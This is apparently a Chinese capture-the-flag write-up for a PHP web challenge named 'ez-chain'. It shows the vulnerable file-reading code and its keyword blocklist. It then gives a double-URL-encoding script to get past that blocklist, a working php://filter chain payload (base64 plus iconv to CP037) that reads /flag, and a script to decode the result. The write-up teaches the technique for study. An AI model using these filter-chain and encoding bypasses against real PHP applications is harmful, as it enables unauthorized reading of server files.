ez-chain
这道题真的easy吗?
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);
?>
第一关
这是我见过的,因为先过滤了一些字符再进行url编码,需要对payload进行两次url编码,并且要彻底进行(字母也要转化)
刚好我有脚本
def url_encode_all(text):
encoded=''
for c in text:
# % 格式化操作符
# :02 宽度为 2,不足 2 位时在左侧补0
# X 以16进制打印,字母大写
encoded+=f'%{ord(c):02X}'
return encoded
text=input("请输入完全url编码的内容:")
num=2
for i in range(num):
text=url_encode_all(text)
print(f"经过{num}次编码后的结果为: {text}")
第二关
首先我犯了个错误:file_get_contents 不能像include那样直接执行 PHP 代码。
php://input 然后post:<?system(“cat /flag”);失败
也就是说如果没有eval()或者include(),我们是没有办法执行代码的
直接将/flag传给file参数,发现没有报错,说明这个文件是存在的,只是存在f/F字母

第三关
这里我们只要了解php伪协议,就知道要用filter进行编码,但是怎么做才能实现没有f/F呢?我确实想到要几个过滤器进行组合(毕竟题目叫ez-chain),但是真的想不到啊,只能看题解了
解法:
php://filter/read=convert.base64-encode|convert.iconv.ASCII.CP037/resource=/flag
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%35%25%36%45%25%36%33%25%36%46%25%36%34%25%36%35%25%37%43%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%39%25%36%33%25%36%46%25%36%45%25%37%36%25%32%45%25%34%31%25%35%33%25%34%33%25%34%39%25%34%39%25%32%45%25%34%33%25%35%30%25%33%30%25%33%33%25%33%37%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%32%46%25%36%36%25%36%43%25%36%31%25%36%37

E9 94 A7 88 E9 F3 A2 F2 D5 E3 E8 A9 D5 F2 D1 89 E8 A8 F1 93 E8 E3 E5 92 D3 E3 C2 91 D6 C4 92 A3 E9 94 D8 F1 D5 89 F1 88 D5 A9 84 92 D4 91 D9 88 D4 C4 C5 A7 D4 E6 D1 F9 C3 87 7E 7E
写脚本进行解码,得到flag
import codecs
import base64
# 十六进制数据
hex_data = "E9 94 A7 88 E9 F3 A2 F2 D5 E3 E8 A9 D5 F2 D1 89 E8 A8 F1 93 E8 E3 E5 92 D3 E3 C2 91 D6 C4 92 A3 E9 94 D8 F1 D5 89 F1 88 D5 A9 84 92 D4 91 D9 88 D4 C4 C5 A7 D4 E6 D1 F9 C3 87 7E 7E"
# 1. hex -> bytes
data = bytes.fromhex(hex_data)
# 2. CP037 -> ASCII(还原 base64 字符串)
base64_str = codecs.decode(data, 'cp037')
print("[+] Base64:", base64_str)
# 3. Base64 解码
decoded = base64.b64decode(base64_str)
print("[+] 原始内容:")
print(decoded.decode(errors='ignore'))

flag{65637bbc-ea5d-0c89-fd56-a77d24a0111b}
神秘payload
转化过程
| base64 | ascii | cp037 |
|---|---|---|
| A~Z | 41~5A | C1~E9 |
| a~z | 61~7A | 81~A9 |
| 0~9 | 30~39 | F0~F9 |
| + | 2B | 4E |
| / | 2F | 61 |
| = | 3D | 7E |
理论上可能出现N,a,~,由于utf-8是变长度的,所以也可能不是,总之不可能出现f/F
我得到了什么?我只能说web题还是太私募了,哪怕一个点卡住也做不下去,而且网络搜索和ai也得不到进展。。。
还是要学会检索,比如我搜索ctf-Filter链就找到相关文章了,原来叫FilterChain攻击,虽然我在马后炮
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至2679413348@qq.com